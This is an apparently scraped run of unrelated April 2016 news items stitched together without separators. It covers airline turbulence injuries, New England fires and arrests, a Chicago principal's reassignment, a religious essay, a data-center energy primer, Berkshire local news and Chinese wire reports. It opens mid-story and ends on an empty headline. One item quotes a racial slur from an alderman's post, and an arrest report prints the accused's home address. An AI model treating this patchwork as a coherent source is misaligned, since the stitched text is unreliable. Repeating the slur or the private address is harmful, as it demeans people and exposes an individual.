Sutherland says he grabbed the chair in front of him to keep himself from hitting anything.

But two of the flight attendants, who were out of their seats, weren't so lucky - including one who was pregnant and preparing the beverage service in the back of the Boeing 737.

"The galley in the back looked like a bomb had gone off because there was material everywhere so clearly she was thrown and then whatever debris was there hit her," Sutherland explained.

"All of a sudden, the plane just kind of dropped for five seconds and everyone who wasn't wearing a seat belt flew," said Brookline college student Maya Shaked.

According to Shaked, another flight attendant hit her head and was bleeding.

"She had an ice pack on her head, she was crying," she said. "I think she was concussed, she was surrounded by doctors."

Southwest was able to get a new flight crew and got passengers home around 2 a.m.

Some of the passengers had nothing but praise for the pilot.

"If you're dropping thousands of feet, that's not an easy thing to manage, so I'm grateful to him," said Sutherland.

Southwest Airlines said all 143 passengers on board were accommodated on another flight. The FAA is investigating what happened.
A 2-alarm fire broke out at a building Thursday night in Taunton, Massachusetts, according to fire officials.

Civilians were evacuated from the condo complex at 450 Somerset Ave. Crews had to fight the fire from the outside.

No one was injured, according to authorities.

Necn affiliate WJAR was on the scene just before 9:30 p.m., when flames were pouring through the roof of the home.
Crews battled a 4-alarm fire at a building in Chelsea, Massachusetts, Thursday afternoon.

Fire officials confirm the blaze broke out at 61 Cottage St.

According to police, the fire began on the porch of the 3-story building.

No one was injured in the fire.
Hartford Police are investigating an incident involving "Chompers," the Hartford Yard Goats mascot.

The mascot was knocked down by at least one person on Asylum Avenue near Main Street on Wednesday night.

Just before midnight, @ChompersTheGoat tweeted, "I was charged tonight and did get knocked down, but I'm going to be fine. Thank you for your support & well wishes. #CantKeepAGoodGoatDown"

I was charged tonight and did get knocked down, but Im going to be fine. Thank you for your support & well wishes. #CantKeepAGoodGoatDown  Chompers (@ChompersTheGoat) April 21, 2016

Jeff Dooley, the team's director of broadcasting and media relations, told the Associated Press that a prankster ran over Chompers after the mascot was leaving the Connecticut Science Center.

The team was playing in New Hampshire on Wednesday, but the Yard Goats and Hartford police confirmed that the incident occurred in Hartford's Main Street area.

Dooley said a car drove by the mascot, stopped and someone ran out and pushed him down. The man inside the suit, who wasn't identified, wasn't injured.

Police said they are investigating whether this was an assault or an attempt at humor that went too far and they are looking for those responsible.
Boston College 16 hours ago

A security camera captured a man lurking outside of Boston College student apartments in Brighton Wednesday night The resident  who didnt want to be on camera out of fear for her safety, said she checked her footage after seeing images of a masked man on other surveillance video in the neighborhood from the week before. Hers is one of...
A carjacking suspect is expected to be arraigned in his hospital room on Friday.

Jonathan Calvin is accused of carjacking two people in Nashua, New Hampshire, last week.

Police say he crashed and abandoned his first vehicle before using a knife to carjack another victim.

Calvin was arrested after crashing into several other vehicles on the Everett Turnpike.

The 31-year-old Nashua resident faces multiple charges.
A New Hampshire man is accused of having and sharing sexually explicit videos and photos of teenage girls.

Police in Derry say Johnny Ray Martin, 25, of 6 Fairway Dr. Apt #386, was arrested Thursday afternoon on 17 counts of child porn possession.

Investigators say a warrant for his arrest came after a 5 months long investigation that started with a tip that indicated that pornographic videos and photos of young teens were being exchanged online. The images were traced to a specific IP address, which led authorities to execute a search warrant at the beginning of February.

Several electronics were seized by investigators, and forensic examinations found as many as four victims between the ages of 13 and 16.

Martin turned himself in to police at the department on Thursday after he learned there was a warrant for his arrest.

He's been released on $5,000 bail, and will be arraigned in Derry District Court on June 2.
Police have arrested a man accused of threatening violence against a school in Lowell, Massachusetts.

According to police, posts were discovered on a web page for Pawtucketville Memorial Elementary School in which a suspect threatened to "shoot up the school."

Dozens of children were evacuated from the school Thursday. The incident took place during school vacation week, but the children were present for a school program.

Authorities arrested 36-year-old Robert McDaniel of Lowell. He is being charged with making a threat involving a firearm, causing disruption of a school.

McDaniel allegedly claimed in the posts to have a rifle, but police say there is no indication he had access to a gun.

The suspect will be arraigned Friday at Lowell District Court. It was not immediately clear if he had an attorney.
Connecticut and Rhode Island will have their presidential primary elections this upcoming Tuesday.

The two small states offer candidates just a fraction of the delegates of their big state counterparts, and don't usually have any effect on the nomination process, this late in the primary game. But not this year.

John Kasich surrogate Dawson Hodgson says, "We are heading to a contested convention in Cleveland, Ohio, this summer. That means 19 Rhode Islanders are going to play a critical role in choosing the Republican nominee for the United States."

Surrogates for the Republican candidates were educating residents at the Laurelmeade retirement community, where voters were motivated in support of the Republican front runner and in fear of the Democrat front runner. One supporter said, "The people that I speak to, they're all in favor of Donald. We need an outsider."

Christine Freiburger of Providence, Rhode Island, said, "Which candidate has the better chance of defeating Hillary?"

But this being heavily Democratic-leaning Rhode Island, Hillary Clinton has plenty of support.

Liz Paci of Warwick, Rhode Island, says she's excited to vote for a female candidate.

Bernie Sanders has support as well.

Jon Staloff says, "Though his path to the nomination is indeed narrowing, there is actually a path, and whatever states are left, he has to perform there."

This is why Sanders will make three stops in Connecticut or Rhode Island by Monday. Clinton will make two stops as will Donald Trump.

Providence Business owner Jerry Erlich says, "For Trump, unfortunately he's waiting on 54 votes he might not get out of Pennsylvania. You've got Bernie trying to prove a point, and Hillary has to keep spinning her wheels."

Former Rhode Island GOP State Party Chair Mark Zaccaria said, "So my vote in November is not going to be as important as my vote on the 26th of April when I can send the message, at least to the Republican national committee, saying, here's the guy that should be our guy."
Snapchat is going to court in an effort to keep New Hampshire from enacting a ban on voting booth selfies.

The International Business Times reports that the mobile image messaging app company filed an amicus brief Friday seeking to weigh in on the Granite State's selfie ban. The selfie ban was overturned last year by a judge who said the law violated the First Amendment. That decision is now being appealed.

In its court filing, Snapchat said it has received thousands of images form inside voting booths during the 2016 presidential primaries. Amicus briefs are legal documents filed by someone who is not a party to a case offering information that is relevant to that case.

New Hampshire's ballot selfie ban took effect in 2014 and made it illegal to share a photo of a marked ballot on social media. The penalty was a $1,000 fine. The law was intended to prevent vote-buying and voter coercion.
Bernie Sanders Blasts Rahm For Ousting CPS Principal

By Sophie Lucido Johnson in News on Apr 22, 2016 4:00PM



(Photo by Chip Somodevilla/Getty Images)

An outspoken critic of Mayor Rahm Emanuel has been abruptly reassigned from his position as principal at Blaine Elementary School, and Emanuel may have been feeling smug about thatfor a few hours. Then the backlash started, and it has been loud. Democratic presidential candidate Bernie Sanders even issued a statement saying that Troy LaRaviere's ousting was "politically-motivated retaliation because he dared to stand up to the mayor of Chicago."

LaRaviere has long been a well-known, vocal critic of Emanuel. In a short March campaign ad for Sanders, LaRaviere slammed Hillary Clinton for supporting Emanuel. In the ad, LaRaviere says, "In Chicago, we have endured a corrupt political system, and the chief politician standing in the way of us getting good schools is our mayor. If you have a presidential candidate that supports someone like our mayor you have a candidate who is not willing to take on the establishment."

It is widely speculatedthough so far unconfirmedthat LaRaviere's dismissal may have to do with his involvement in the campaign ad. According to sources who spoke to the Tribune, the ad might violate the Chicago Public School district's policy on political activity. City Hall and CPS have stated that Emanuel and the mayor's office had nothing to do with LaRaviere's reassignment.

In Sanders' statement on LaRaviere's situation, though, he said "The only explanation for his removal appears to be Mayor Emanuel's unhealthy obsession with taking revenge."

Chief Education Officer Janice Jackson told the Chicago Sun-Times that the decision was based on "alleged acts of misconduct," such as breaking "a previously board-issued warning resolution." LaRaviere was issued a formal warning in August regarding his support of PTA efforts against standardized spring testing, which he denounced on his blog.)

According to the Tribune, CPS recently sent LaRaviere a letter relieving him of his duties and ordering him to surrender his school building keys and other equipment on Wednesday. The Tribune obtained a copy of the letter, which said, "Your reassignment is based upon acts of misconduct that have occurred after your receipt of a Warning Resolution issued to you by the board." LaRaviere will continue to be paid until a preliminary hearing can be scheduled. Parents at the school were also notified of his dismissal on Wednesday.

Meetings have been scheduled at the school to discuss the sudden change in leadership. CPS will meet with teachers on Monday morning, and will host a parent meeting at 6 p.m. that night. Supporters of LaRaviere have begun planning a rally at Blaine that will take place next week before a community meeting with school officials.

Alderman David Moore took to Facebook Thursday morning to say that he was "totally appalled" to hear about LaRaviere's ousting. His full post broke into impassioned all-caps to emphasize his frustration with the situation:

I am totally appalled at this move. Not one elected official, who cares about the education of our children, should remain silent about this DICTATORIAL move! All I hear is, stay in your place NIGGER, and don't you dare challenge the DICTATORIAL AUTHORITY designed to put corporate profits over effective public education.

David Moore

Alderman, 17Th Ward

LaRaviere posted to his blog this morning, urging his supporters to seek an official reason for his dismissal. "Any protest or other efforts should focus on forcing CPS to tell me what theyre charging me with," he wrote. He has not yet issued an official statement at the advice of his attorney, but added to his post:

Finally, my message is that we need to stay focused on the corrupt fiscal management and incompetent education policy of our district and our city. Thats what Ive tried to highlight. This is not about me. This is about corruption, and I am an obstacle to that corruption. At some point Im hoping all of us will be obstacles to it.

Pedro Alonso, who has previously served as interim principal at two elementary schools, and as principal of Von Steuben high school from 2006 to 2014, has been assigned to serve as interim principal.

The hashtag #StandWithTroy has started to trend as a display of support.

Kindergarten teacher and national education activist Susan DuFresne created a meme to summarize her thoughts on the situation:
Police in Keene, New Hampshire, are investigating after responding to a motor vehicle crash with serious injuries earlier this week.

The collision on Wednesday was witnessed by an on-duty Keene Police Officer, whom immediately responded and began aid to the victim.

The collision with the pedestrian occurred at the intersection at Main and Elliot Streets.

Abbie Sweatt, 21, of Scarborough, Maine, was conscious and breathing at the scene. She was transported to Cheshire Medical Center and ultimately taken via helicopter to Dartmouth Hospital.

Sweatt is reportedly in stable, but critical condition, having sustained serious head trauma.

A preliminary investigation suggests the drive of the vehicle, 87-year-old Dolores Blanchard of Swanzey, failed to stop for Sweatt, who was walking in the crosswalk from the Keene State College Campus.

A summons has been issued to Blanchard for failing to yield to a pedestrian in a crosswalk.

There is no indication that speed or alcohol played a role in the incident.

The collision remains under investigation.
A Massachusetts woman is recovering after being stuck in a marsh while trying to rescue her dog.

Still pictures taken by the Natick Fire Department show a 53-year-old woman being rescued from a marsh in a Natick forest.

She'd been in the mud for 25 minutes.

Hikers heard the woman yelling for help and called 911.

Firefighter Rob Stevenson and his team jumped into action.

"I was able to retrieve the dog," he said. "[The woman] said that she was fine."

After bringing the dog to shore, Stevenson went back in.

"Walked back out, hooked her up to the rope, and pulled her out of the marsh," he said.

The woman tells police her dog had run out into the marsh at the Hunnewell Town Forest and got stuck.

She then took off her shoes and went in to rescue him, but she got stuck herself, up to her waist.

"You couldnt really tell how deep the mud was," said Stevenson. "A little bit difficult to maneuver through."

Firefighters say the woman never panicked and remained fairly calm. Neither she nor her dog were injured.
The Holy Spirit - Revival Now

John Myhill explains why churches need to embrace the Holy Spirit to enable them to respond to those who seek their help in the midst of todays problems.

The Holy Spirit is alive and busy in many people today, yet there are some who regard him as an historical figure with no relevance to us today. Are our church buildings merely fine tombs for the prophets we have allowed to die in our hearts? (Nehemiah 9:26, Luke 11:47  48)



Jesus spoke to people who knew their scriptures well, and were able to understand his references to the texts. Today very few people really have that knowledge of the Bible and that includes many Christians. But Jesus gift was to persuade people that they could not understand the texts unless they looked at them through their living experience of the Spirit. Not the dead letter, but the spirit giving life.



This message is just as vital today, only the texts have changed. I believe that if Jesus was alive today, he would have become knowledgeable in texts other than the Bible, but would apply the same idea. Lawyers who seek for the Spirit behind the law, rather than its narrow literal interpretation; Scientists, who see the importance of testing theories, and seeking evidence, rather than accepting our current scientific knowledge as gospel; Critics who see beyond the visual image, poem or other literary text, to the Spirit that makes them visionary; doctors and teachers, who refuse to be tied in knots by the increasing levels of regulation, but rather express the Spirit of their profession in their daily lives  so many ways that a modern Jesus can refuse to be controlled by literal understandings of text, to see the Spirit of love and peace behind the words.



We can all unite in reading through the Bible our shared text  seeking the spirit behind the words, to decide which parts are most useful in reaching out to a new generation, and which parts contain the essentials of our faith.



It used to disturb me when I heard clergy say that someone weakened by suffering might be ripe to receive the Holy Spirit, was vulnerable to conversion, ready to repent, or prepared to receive the Good News, or some similar expression.



Clearly these statements are accurate. When life is going well: with relationships, health, income and happiness all increasing, we are less likely to question the way we are living. Only when things go wrong do most people ask WHY? That is often the time when they will be offered answers by people who follow a religious or political belief.



This has severe implications for the way Societies work. When there is a war, natural disaster, economic recession or cruel dictatorship; many people turn to religious and political groups that offer aid, protection, comfort, hope or an alternative vision for the future. The same thing happens on a smaller scale when individuals experience bereavement, serious illness, unemployment or other personal tragedy.



Sometimes there is a rush to join existing organisations. The churches may speak of a revival: extremist groups may prepare for a Holy War; whilst moderate comfortable churches find themselves overwhelmed by the needs of the sudden influx of newcomers with complex needs. (This was the situation that the Apostle Paul addresses in his letters.)



Sadly, I can find no middle ground where we can sit, detached from this problem, secure in our own comfortable way of life, ignoring the huddled masses, the individuals suffering a life crisis: -



We can take a bureaucratic stance, and try to draw up rules and regulations, to control the flow (the letter killeth). But truly, this is an evasion, doomed to take us towards the Exclusive Brethren, or a posh club, or even genocide. (Every time we reject another human being, we risk increasing the suicide rate.)



We could take the Dawkins line, attacking religions for offering beliefs, when what people need is a scientific understanding of what has happened to them. They are victims of natural events, and by supporting Scientific research, they can prevent similar disasters at some distant time in the future. Such a response may appeal to those who are living comfortably, but it is rarely sufficient in the face of a personal tragedy.



Why me? Why now? I have lost what gave my life meaning. If all those experiencing personal disaster entered science or advocated scientism, science would be overwhelmed (just as religions are) by the huge number of incomers. The sciences would soon become divided by sectarian conflicts. This does not happen, because science has its rules and regulations, which exclude most people from membership of the research institutions.



But, worse than this, the anti-religious side of science is used by Governments as an excuse to suppress popular movements, which adopt religious arguments as the basis for anti-government views.



It is perfectly clear why religious groups tend to oppose Government policies. It tends to be religious groups who respond first to the needs of the poor, when government cutbacks take away state provision; when unemployment, illness, loss, displacement and so on, cease to be the major concern of the state, then it is the compassionate few who take on this task. Knowing they cannot cope with the huge numbers of the dispossessed, they turn to Government for help, and when they are rejected, they become political.



When government responds to the politically engaged religions by legislation: against wearing a cross/ crescent; not allowing large public demonstrations, forbidding the public expression of religious beliefs that might inflame conflict: then we are on the slippery slope that leads to religious persecution and ultimately the imprisonment and execution of believers, as happens today in many countries.



Wars have never been fought over religious beliefs, because all religions were founded by pacifists. Religion is used as an excuse for violence, riot, killing, Jihad, persecution, genocide; by those who seek political power through leadership of the oppressed against their oppressors.



This can only happen when the true believers have failed to provide a prophetic vision, which appeals to the masses, who have experienced disaster and is acceptable to those with economic power.



That vision is alive and well, but those who hold it are few. Most of our churches are already overwhelmed by those seeking comfort, for personal problems and life crises. They comfort each other, with human kindness, but they have no vision, so when the numbers increase suddenly, as they are doing now, they are soon overwhelmed, revert to exclusion, or sink, or divide in schism.



My vision is for our congregations to discover the Holy Spirit within each one of them; so that they are not weak, vulnerable or rule bound, when discovering the strengths of the incomers. They should be able to talk about their faith and what it has done for their lives, whilst discovering the strength, Light, gift, of the incomer. In short, they must establish a friendship based on equality, in which we seek together for a way forward, that takes life crisis, not as a disaster, but as an opportunity to discover what really matters.



This is a journey we can take together, because it is not about providing rules, jobs, health, housing or money: but about who we are and why we are here; about beauty, pity, truth and love.


This vendor-written tech primer has been edited by Network World to eliminate product promotion, but readers should note it will likely favor the submitters approach.

According to the National Resources Defense Council (NRDC), data center electricity consumption is projected to increase to approximately 140 billion kilowatt-hours annually by 2020, the equivalent annual output of 50 power plants. The cost to American businesses? A tidy $13 billion annually.

Make no mistake, many enterprises and data center providers are striving to reduce their carbon footprint. Switch recently announced that, as of the first of this year, all of its SUPERNAP data centers are powered by 100% renewable energy through its new solar facilities operating in Nevada. Across the pond, Apple is developing two new 100% renewable energy data centers in Ireland and Denmark. And Facebook just launched a massive new data center in Lulea, a town located in a remote corner of northern Sweden, that requires 70% less mechanical cooling capacity than the average data center because of the cool climate.

But what if your data center is located in Houston or Rio de Janeiro? Fortunately there exists a viable solution to achieve improved Power Usage Effectiveness (PUE), and reduce costs associated with cooling and power while mitigating a facilitys carbon footprint. Data Center Infrastructure Management (DCIM) are software and technology products that converge IT and building facilities functions to provide engineers and administrators with a holistic view of a data center's performance to ensure that energy, equipment and floor space are used as efficiently as possible.

In large data centers, where electrical energy billing comprises a large portion of the cost of operation, the insight these software platforms provide into power and thermal management accrue directly to an organizations bottom line.

In order to take appropriate actions, data center managers need accurate intel concerning power consumption, thermals, airflow and utilization. One wouldnt think this is the realm of MS Excel spreadsheets and Stanley tape measures. However, a recent study by Intel DCM and Redshift Research found that four in 10 data center managers in 200 facilities surveyed in the U.S. and the UK still rely on these Dark Age tools to initiate expansion or layout changes.

The good news is that DCIM provides increased levels of automated control that empowers data center managers to receive timely information to manage capacity planning and allocations, as well as cooling efficiency. By deploying thermal-management middleware, for example, improvements in airflow management can reduce energy consumption by 40%. Data center managers can also drive a stake through the problem of zombie servers by consolidating servers to reduce energy consumption from 10% to 40%.

Modern data centers maintain a stable operating environment for servers by implementing stringent temperature controls, which, paradoxically, also makes it possible to apply various energy-saving and eco-friendly measures in a centralized manner. A DCIM system that offers simulations integrating real-time monitoring information to allow for continuous improvements and validation of cooling strategy and air handling choices can have a direct impact on the bottom line.

Somewhat counter-intuitively, raising internal temperatures in data centers can save annually upwards of 100K per temperature degree without degrading service levels or reducing hardware lifespan. And by deploying various other innovative cooling technologies, facilities can expend up to 95% less energy.

Utilizing DCIM real-time data analysis tools, along with maintaining an active server refresh schedule, can effectively combat runaway energy consumption. The combination of processor improvement with feature rich intuitive dashboards that recognize imbalances in cooling and identify underutilized servers, can sometimes reveal a profligate energy consumer right under an administrators nose.

Replacing an older server with todays advanced technology and using DCIM to identify underutilized systems can reduce energy need by 30%. Considering the four-year life expectancy of a server, this will save up to $480. While that figure might not seem too significant, the numbers get significant if you have thousands of servers.

Jeff Klaus is the general manager of Data Center Manager (DCM) Solutions, at Intel Corporation. Follow us on Twitter
The Two New Bayless Spots In West Loop Have Opening Dates

By Anthony Todd in Food on Apr 22, 2016 6:42PM



Bayless in an improvised chef coat bearing the names of the new spots (photo via Facebook)

We brought you details a few weeks back about the two new Rick Bayless-helmed spots opening in the West Loop: Cruz Blanca CervecerAa and Lena Brava. Now, we've got even more details and an official opening date.

Both restaurants will open to the public on Cinco de Mayo: May 5, 2016. For Lena Brava, the Baja-themed seafood spot with the huge wood fire, reservations are available now on the restaurant's website. The taco and beer counters at Cruz Blanca will be walk-up only.

The chefs at Lena Brava will be a husband-and-wife team, Fred and Lisa Despres. Fred worked at Arami, while Lisa was the chef at Topolobampo, so this place is opening with an all-star team. The bar will focus on mezcal and feature more than 100 different varieties, joining the growing mezcal trend sweeping Chicago.

Cruz Blanca, the brewery and taco stand, will be led by Jacob Sembrano, who used to run the brewing operation at Goose Island Brewpub. The food (do-it-yourself tacos) sounds so delicious, we're gonna just quote the restaurant.

Guests at Cruz Blanca will choose their main attraction half-cured flank tasajo, red chile pork cecina, chorizo, chicken or portobello to be piled on a big beer tray with accompaniments of wood-grilled knob onions and peppers, smoky Oaxacan pasilla salsa, avocado salsa, crunchy pico de gallo, grilled nopal cactus and limey cucumbers. And, of course, a big stack of fresh- made tortillas.

Get in our mouth right now!

Both concepts are located on Randolph, at 900 and 904 W. Randolph Street. Make your plans now, because opening day is sure to be nuts.
Tribunal finds council failed to impose legal restriction

YET another motorist has had his Park Way Bridge fine cancelled after a judge ruled he had no case to answer.

The ruling is another blow to West Berkshire Council which continues to insist it has the right to demand money from drivers who mistakenly turn into a bus lane on the Newbury bridge.

Critics estimate the council has raked in around half a million pounds  yet the national Traffic Penalty Tribunal has said that the supposed contraventions which attract the fine are bogus.

The latest case was won by motorist David Firth, who visited Newbury on September 15 last year.

Council officials attended to argue their case.

But tribunal judge Annie Hockaday acknowledged Mr Firths detailed evidence that he was a stranger to the town and the signs to inform drivers of the bus lane were poor and misleading, especially as it was dark and raining.

She ruled that the councils official working of its order fails to impose a legally-binding restriction.

But in any case, she concluded: To prove the contravention the council must produce a video and a signed statement as to the circumstances [regulations] require the production of the video.

I find the contravention is not proved. I allow this appeal. Mr Firth has nothing to pay.

Ms Hockaday acknowledged that the council officials said they had not provided videos for previous appeals about Park Way Bridge, but dismissed their submission, stating: It is my view that [regulations] require the production of the video.

Mr Firth said after the hearing: It is astounding to find that West Berkshire Council has never had any rights to apply fines or otherwise pursue anyone for money as a result of crossing this bridge.

The tribunal ruling states there has never been a restriction, legally imposed, on that bridge.

In 2014 this newspaper reported how, within the first year alone  from November 2011 when it became a bus, taxi and bicycle lane  6,080 motorists were fined for driving over it, equating to 170,000 in revenue for council coffers.

An additional 3,900 people had been fined for driving in the bus lane  in either direction  since November 2012.

For years the council rejected claims that Park Way Bridge warning signs were inadequate and designed as a revenue generator.

The ruling Conservative administration hit back, blaming aggrieved motorists own stupidity.

But in 2012 the independent tribunal upheld an appeal by Reading motorist Peter Jeffries, who was fined 60 for exiting one of The Wharf car parks into the bus, taxi and bicycle-only lane.

On that occasion too, the adjudicator ruled that the alleged contravention did not occur because the carriageway warning was sited so that drivers had already entered the forbidden area by the time they had seen it.

The council was refused permission to seek a review of that ruling.

In response to our request a spokesman for the council, Martin Dunscombe, said 1,645 PCNs were issued at Park Way bridge during 2015/16.

He confirmed that the council intended to change the wording of the regulations in light of the adjudicator's ruling.
West Berks Action for Refugees brings lorry load of supplies

A West Berkshire action group delivered a lorry-load of aid to the Calais Jungle camp last week, including socks collected by local primary schools pupils and buggies for babies and toddlers.

West Berks Action for Refugees organised the aid delivery, made up of 50 per cent donations from the residents of West Berkshire and 50 per cent from Slough.

British NGO, Hope & Aid Direct, provided the lorry to transport the donations free of charge.

Founder of the action group Lindsey Middlemiss accompanied local nurse Rachel Birch, musician John Kane and mum Asta von Stackelberg to deliver the goods.

Ms Middlemiss said: Going to a refugee camp or the Calais Jungle with volunteers for the first time always brings home how shocking it is.

With the Jungle, youre standing in an unsanitary shanty town, that you might expect in a developing country in Africa or South America, but youre just minutes from the British border.

It is very surreal. There are thousands of people and hundreds of children, including many unaccompanied children, living there, without being properly cared for.

Having been to the hell of the old camp at Dunkirk, it is good to see how conditions have been improved in Dunkirk over the last two months, but even there, the situation is still pretty desperate.

The stony ground in the camp is unsafe for small children, so parents were desperately grateful for a donated pushchair.

Other donations were gratefully received by the volunteers at the warehouse, so huge thanks to everyone who donated, collected and helped us pack it all up properly.

The action group is also running a fresh collection, until May 4, for maternal care packs to send to northern Greece, with Hope and Aid Direct. Visit www.westberksrefugees.org for further information.
Beacons lit across the Royal County to commemorate occasion

Beacon is lit in Victoria Park, Newbury, to celebrate The Queen's 90th birthday (picture by Phil Cannings)

HUNDREDS of people from across the Royal County of Berkshire have celebrated Queen Elizabeth IIs 90th birthday.

Some waved union jack flags and others dressed up, while beacons were lit across West Berkshire to mark the longest-serving monarch becoming a nonagenarian yesterday (Thurs).

In Newburys Victoria Park, more than a hundred people joined councillors and the mayor to sing hymns before a beacon was lit.

The Queen has been a frequent visitor to Newbury, attending race days at Newbury Racecourse and visiting Vodafones headquarters in 2008 and St Bartholomews School in 1972 and 1993.

There were also celebrations at Donnington Castle with a lighting of a beacon. (Picture by Phil Cannings)

In Aldermaston, a beacon was lit in the field opposite St Marys Church, by Lord of the Manor Andy Hall, before the bells of the church rang out in celebration.

Prior to that, people raised a toast to The Queen with a glass of bubbly.

Thatcham residents also turned out in their hundred to witness the lighting of a beacon on Dunstan Green, while Hungerford celebrated with a beacon lighting at the Triangle Field. (Picture by Tony Bartlett)

West Berkshire councillors were in patriotic mood too, with leader Roger Croft introducing last nights executive meeting by paying tribute to her Majestys years of service.

Mr Croft said: Id like to take this opportunity to wish Her Majesty Queen Elizabeth II a happy 90th birthday.

She has reigned over UK for 64 years now and is simply the most highly-regarded monarch of all time.

Although the beacon lighting events were publicised in the Newbury Weekly News, many people took to social media to say they were unaware that many of the events were happening.

The Queen has reigned longer than any monarch in British history, having surpassed the reign of her great-great-grandmother Queen Victoria last year.

To watch the beacon being lit in Newbury, click the video link below
Actress Jodie Foster and Director Jonathan Demme have been marking the 25th anniversary of 'Silence of the Lambs' in New York.

The world-renowned actress-director said 'Silence of the Lambs' might be the best project she had ever worked on.

Foster was crowned Oscar Best Actress in 1992 for her role as Clarice.

"They can call me Clarice anytime they want. It's a great character, I have to say one of the best characters that I ever read and it was a sort of a no-brainer to inhabit her. I loved Michael Mann's movie, we all did. I really came across the book because two writers independently that I loved said to me 'This is a book you have to read, and you have to play this character. 'So I went after it and what's really amazing is that this script came out of Ted Tally's typewriter. It was perfect and that is the film we filmed. "

Director Jonathan Demme also won an Oscar for the film, but he credits his success with the film to the passion for the project inspired by Foster.

"I think as much as anything - Jodie really was the person that turned me on to what I am about to tell you in a big way. Jodie helped me see this as a story of a young woman trying to save the life of another young woman, and being confronted with all of these extraordinary challenges presented by men along the way. And that kind of - I wanted the audience to be in Clarice's shoes - Jodie's shoes - and we shot that way. Subjective camera all the way, and you know - it worked."

Based on the 1988 Thomas Harris novel, the film tells the story of a young FBI agent, who seeks help from an imprisoned psychiatrist to capture another killer on the loose.
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Six people stood on trial Thursday for their roles in a fire at a private rest home in central China's Henan Province that killed 39 elderly people.

The fire broke out at a rest home in Lushan County on May 25 last year. Five managers and one construction contractor pleaded guilty to causing the major safety incident, at Lushan county people's court.

Contractor Feng Chunjie did not have an appropriate certificate and used flammable materials in the rest home expansion, it said.

The court is to announce sentencing at a later date.

Government officials charged with dereliction of duty over the fire will be tried separately, the court said.
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A warehouse storing chemicals and fuel exploded and caught fire in Jingjiang city, East China's Jiangsu province, on Friday, according to media reports.

A warehouse storing chemicals and fuel exploded and caught fire in the eastern Chinese city of Jingjiang on Friday, April 22, 2016. [Photo/Sina Weibo]

Local authorities said the blaze was under control and no casualties were reported.

Photos posted online showed dark clouds of smoke rising from the blaze from the block of storage tanks located at the Jingjiang Port.

A nearby resident surnamed Zhong told Modern Express that the fire started around 8 am, and the flames rose to some 30 meters into the sky.

News website ThePaper.cn reported that a company called Jiangsu Deqiao Storage ran the warehouse and the company was authorized to keep hazardous chemicals.

Local residents have complained of foul air quality caused by the company since the warehouse started operation in July 2010, the news site added.

The Jingjiang government said on its microblog that the fire was "under control" with no deaths or injuries. It said the materials that caught fire include methanol and mixed aromatics.

The government also said that the fire caused little damage to environment and activity near the site had returned to "normal".

The latest blast recalled huge explosions caused by improper storage of chemicals at the port area of the northern city of Tianjin last August, when at least 165 people were killed and fears were raised of toxic contamination.

The massive blast in Tianjin had also sparked widespread anger over non-transparency of the causes and the impacts to local environment.
U.S. President Barack Obama is greeted by Ambassador Joseph W. Westphal, U.S. Ambassador to the Kingdom of Saudi Arabia as he arrives on Air Force One at King Khalid International Airport in Riyadh, Saudi Arabia, Wednesday, April 20, 2016.

When the only person welcoming an American president at the airport is a local Saudi governor, instead of the king himself and the state media, it means that all is not well between the two old allies.

President Barack Obama's fourth visit to the kingdom during his presidency, and possibly the last, coincided with controversy over a proposed law in the United States Congress. If the bill is passed, it would give U.S. citizens the right to sue Saudi Arabia over its alleged complicity in the 9/11 attack. The kingdom is nervous and has threatened to sell around 750 billion dollar worth of assets in treasury securities etc. before the money could be seized under the new law.

Obama arrived on Wednesday to attend a meeting of Gulf Cooperation Council (GCC) hosted by Saudi Arabia. Soon after the arrival he met King Salman. The two leaders spent more than two hours in a closed-door meeting, which, according to a report, was cordial but tense.

The main Saudi concern is Iran. After the historic U.S. nuclear deal with Iran, the kingdom is feeling increasingly insecure. Its rivalry with Iran is historical and has only increased due to sectarian and strategic differences. Both countries compete for influence over the Gulf region and support a different set of allies.

The second major difference between the U.S. and Saudi Arabia is the human rights issue. Obama has been under pressure to take up the issue of a jailed blogger and other similar cases on his trip. Any mention of violations of the human rights is sure to get an angry response from Saudi Arabia.

The third key issue is how to deal with militancy in the region, especially the war against the Islamic State. The group has claimed responsibility for some terrible terrorist attacks in recent months in Saudi Arabia. The Saudis traditionally depended on American support for security but under changing circumstances, it would be unwise to think that U.S. soldiers will be fighting to save the ruling family.

American policymakers have been feeling uneasy about the Saudi government for some years. The fact that 15 out of 19 attackers involved in the 9/11 were Saudi nationals raised several questions over the relationship between the two countries. There is also debate and concern in the United States over the alleged role of rich Saudi men and their involvement in spreading extremism and militancy in the region and in other countries through a particular brand of Islam.

The U.S. has also been on the receiving end of criticism for its support and friendship with autocratic regimes, which has often forced it to turn a deaf ear to concerns about violations of human rights. Its support for democracy is also viewed with skepticism as it remains a close ally of non-democratic countries, a handful of them on the Arabian Peninsula.

The War on Terror following the 9/11 attack, the invasion of Iraq, the Arab Spring, the civil war in Syria and the rise of Islamic State have played important roles in changing U.S. policy towards the region and its key regional partner Saudi Arabia. While all this change was happening in the realm of foreign policy and economic affairs, the Saudis were a touch slow to recognize the change and respond to emerging trends.

Since the two countries follow different paths on several issues, maintaining a good relationship will be like walking on a tight rope. Their differences might increase, as the Americans will continue to follow a policy of normalization with Iran and to support human right groups and those demanding greater political reforms for an inclusive government.

Saudi society is still more tribal than modern. In any tribal culture, betrayal by a friend is considered an unpardonable crime. If the royal family and other influential quarters in the kingdom came to the conclusion that they were used by the Americans, their sense of alienation would further increase. It would likely be bad for the two countries' relationship and the precarious regional stability.

Sajjad Malik is a columnist with China.org.cn. For more information please visit:

http://www.china.org.cn/opinion/SajjadMalik.htm

Opinion articles reflect the views of their authors, not necessarily those of China.org.cn.
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 Flash

Holiday-makers from China helped drive a record number of overseas visitors to New Zealand last month, the government's statistics agency said Thursday.

Total visitor arrivals reach a new March record of 344,400, up 18 percent from March last year, according to Statistics New Zealand.

"More visitors arriving from Australia, China, and the U.S. helped create a new March record," population statistics manager Jo-Anne Skinner said in a statement.

Arrivals from China were up by 9,600 to 40,400, making it the second largest source country after Australia, from where 133,300 visitors arrived.

More visitor arrivals from Shanghai, Beijing and Zhejiang contributed to the rise in visitor arrivals from China, said a commentary from the agency.

In the year to the end of March, visitor arrivals hit a record 3.26 million, up 10 percent from the March 2015 year.

Annual visitor arrivals broke the 3-million mark in the year ended July 2015, and have been rising steadily since.

Australia and China were also the two largest source countries for annual visitor numbers, with the number of Chinese up by 82,300 to 377,800 for the year.
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New play equipment funded, approved

NRHEG School Board

By REED WALLER

Staff Writer

